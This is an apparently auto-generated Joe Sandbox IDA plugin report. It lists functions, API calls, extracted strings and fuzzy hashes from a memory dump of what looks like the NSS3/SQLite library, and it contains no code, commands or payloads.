Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `sl
API String ID: 3155957115-3677604414
Opcode ID: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction ID: 93c27bd5d30e10310e9ad575c7631922be95cddb2d990fc56c5c7b8dcb7b5865
Opcode Fuzzy Hash: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction Fuzzy Hash: 3D91D0B0A042098FDB04DF65CC94ABBBBB1FF46308F244A3DE416A7A50EB71E845CB51

Function 6C650EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C650F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C650FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C651006
PK11_FreeSymKey.NSS3(?), ref: 6C65101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C651033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C651048
memcpy.VCRUNTIME140(?,?,?), ref: 6C65108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6510BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6510D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C65112E

Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515B8
Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515C1
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65162E
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C651637

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction ID: 43b40cd92ac3492d6b6d5812730c2bf32bfb850fe4f5857ca6f43c0b4ab61ebb
Opcode Fuzzy Hash: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction Fuzzy Hash: 4271D1B5E002059FDB10CFA5CC84AAAB7F4BF48318F64862DE90997711EB31D964CB99

Function 6C671CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C671F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C672166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C67228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6723B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67241C

Strings

model, xrefs: 6C6723CB, 6C6723EC
token, xrefs: 6C671F2C
manufacturer, xrefs: 6C672179
serial, xrefs: 6C6722A2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction ID: ef220cb277ef8729d0c33e0b6c0ef820487334366f6391e16902567cfba7969b
Opcode Fuzzy Hash: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction Fuzzy Hash: E2022FA2D0CBC8AEF7318671C44C7D76BE09B45328F0C1A6EC6DE46683D7AC59889365

Function 6C5B0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5B103E
EnterCriticalSection.KERNEL32(?), ref: 6C5B1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5B1190
sqlite3_free.NSS3(00000000), ref: 6C5B1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5B126E
sqlite3_free.NSS3(?), ref: 6C5B127F

Strings

winAccess, xrefs: 6C5B129B
Psl, xrefs: 6C5B109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5B1267

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Psl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1037850672
Opcode ID: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction ID: db38570d0a0007e617927067324b6726e72aa80c9ca57b127adf791b42a68d29
Opcode Fuzzy Hash: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction Fuzzy Hash: 457139317056199FEB44CF25DCA9AAF7B75FB87314F240639E915A7A80EB30D801C7A2

Function 6C676C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C60
PR_ExplodeTime.NSS3(00000000,6C621C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C94

Strings

gfff, xrefs: 6C676D66
gfff, xrefs: 6C676CFD
gfff, xrefs: 6C676CF5
gfff, xrefs: 6C676D30
gfff, xrefs: 6C676D9C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction ID: 70f3b5336c23a227bd0e35b687fa7c829ca067944fb99ec95d0d917649dd3475
Opcode Fuzzy Hash: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction Fuzzy Hash: A2513B72B016494FC718CDADDC527DEBBDAABA4310F48C23AE442DB781EA78D906C751

Function 6C6F0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6F1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F1353

Strings

%02x, xrefs: 6C6F12F6
-- , xrefs: 6C6F0FF5
NULL, xrefs: 6C6F119E
$, xrefs: 6C6F12A0
'%.*q', xrefs: 6C6F1217, 6C6F1292
zeroblob(%d), xrefs: 6C6F1223
%lld, xrefs: 6C6F114B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction ID: 3072c9bdb272fb8dff1de109b31244a75127840e64b7ec5ce425b1c5771d0cd8
Opcode Fuzzy Hash: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction Fuzzy Hash: 95E1B3B160C3409FD704CF58C480AABBBF2BF86398F14491DE9A587B51D771E946CB4A

Function 6C6F8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9209

Strings

3333, xrefs: 6C6F925E
UUUU, xrefs: 6C6F9255

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction ID: 96aacde7b9c11d151ddce062a0fac06f1205976de8636bbc5f86edacd135b343
Opcode Fuzzy Hash: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction Fuzzy Hash: CCA1BE72E001159BDB04CF68CC94BDEB7B6AF49328F194179E915A7341E736AC42CBA4

Function 6C738D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7814E4,6C6ECC70), ref: 6C738D47
PR_GetCurrentThread.NSS3 ref: 6C738D98

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C738E7B
htons.WSOCK32(?), ref: 6C738EDB
PR_GetCurrentThread.NSS3 ref: 6C738F99
PR_GetCurrentThread.NSS3 ref: 6C73910A

Strings

%u.%u.%u.%u, xrefs: 6C738E74

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction ID: 8a43d7ea081077208b9390ecb29179b5ca07fbfe0c227e78b255f38008299ee9
Opcode Fuzzy Hash: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction Fuzzy Hash: 4602DD319052718FDB04CF19C5687A6BBB3EF52344F29826AC8996FB93C731D909C391

Function 6C6B68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C6B68FC
PR_EnterMonitor.NSS3 ref: 6C6B6924

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_EnterMonitor.NSS3 ref: 6C6B693E
TlsGetValue.KERNEL32 ref: 6C6B6977
TlsGetValue.KERNEL32 ref: 6C6B69B8
PR_ExitMonitor.NSS3 ref: 6C6B6B1E
PR_ExitMonitor.NSS3 ref: 6C6B6B39
TlsGetValue.KERNEL32 ref: 6C6B6B62

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 377b728cde886ef23fc07c2a24116f51e0855adfecce5bdb7bde3f03b9ab9e5a
Instruction ID: 77d40606b737e4d84d925f9f397d11793667aaa2455ba535c2a5d71f8ba797e8
Opcode Fuzzy Hash: 377b728cde886ef23fc07c2a24116f51e0855adfecce5bdb7bde3f03b9ab9e5a
Instruction Fuzzy Hash: FD91A174658100CBDB58DF2DC58059E7BB2FF87308B6182A9D844EFA29C771D9B1CB89

Function 6C5BEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5BF0A6, 6C5BF2D5
%s %T already exists, xrefs: 6C5BFAC8
temporary table name must be unqualified, xrefs: 6C5BF734
table, xrefs: 6C5BF05C, 6C5BFABC, 6C5BFAC7
not authorized, xrefs: 6C5BF957, 6C5BF9BA
sqlite_master, xrefs: 6C5BF0AB, 6C5BF2DA, 6C5BF757, 6C5BF93E
view, xrefs: 6C5BF061, 6C5BF071, 6C5BFAB7
authorizer malfunction, xrefs: 6C5BF95C, 6C5BF9BF, 6C5BFA5E, 6C5BFA8B
there is already an index named %s, xrefs: 6C5BF9D7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction ID: 30e95ea999de615739edfc80580d949486660102e6e6bfc5ca8a8c78a55b8048
Opcode Fuzzy Hash: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction Fuzzy Hash: A272A178E042058FDB14CF68C890BAABBF1BF89308F1482A9D815AB752D775E855CB90

Function 6C6D9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DA01F, 6C6DA0E4, 6C6DA0FE
database corruption, xrefs: 6C6DA029, 6C6DA108
%s at line %d of [%.10s], xrefs: 6C6DA02E, 6C6DA10D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction ID: 9b3a496d1436937cf45dfd5c4abf7478639dbac9ba23f9470e03741135354919
Opcode Fuzzy Hash: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction Fuzzy Hash: 5922C27160C7419FC704CF29C4A066AB7E1BFCA348F158A2DE5DA97B42DB31E845CB4A

Function 6C6409A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

memcmp.VCRUNTIME140(00000000,6C629B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C629B8A,00000000,k-bl), ref: 6C6409D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C629B8A,00000000,k-bl), ref: 6C6409F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C629B8A,00000000,k-bl), ref: 6C640A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C629B8A,00000000,k-bl), ref: 6C640A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C629B8A,00000000,k-bl), ref: 6C640A48

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 52751d4ff9323332783aaf2b555f9f59a5922f9af6a4e5e615152b4062123e06
Instruction ID: fbc9b65d4ac7717af8c1c73ea80d6507772d83959fb721699db338d715df729a
Opcode Fuzzy Hash: 52751d4ff9323332783aaf2b555f9f59a5922f9af6a4e5e615152b4062123e06
Instruction Fuzzy Hash: A20212B1E002249FEB008F65DC40BEB77B9EF59318F148129ED09A7B52E731E955CB98

Function 6C600820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C6011D2

Strings

rows deleted, xrefs: 6C6017D2
not authorized, xrefs: 6C60175E, 6C601763
@, xrefs: 6C600B17
authorizer malfunction, xrefs: 6C601BD2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: c93a92df8a53df0e25554da39a11ef8f255731094ecc68383e6a479dcc324480
Instruction ID: 239209f30131f768e59c02d13d303fc7b33f070800b64d5d4b3350ada3c5eb07
Opcode Fuzzy Hash: c93a92df8a53df0e25554da39a11ef8f255731094ecc68383e6a479dcc324480
Instruction Fuzzy Hash: 9AD28A70E04249CFDB18CFA9C980B9DBBF2BF49308F288169D415ABB51D771E956CB84

Function 6C6CC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C6CCEA5

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
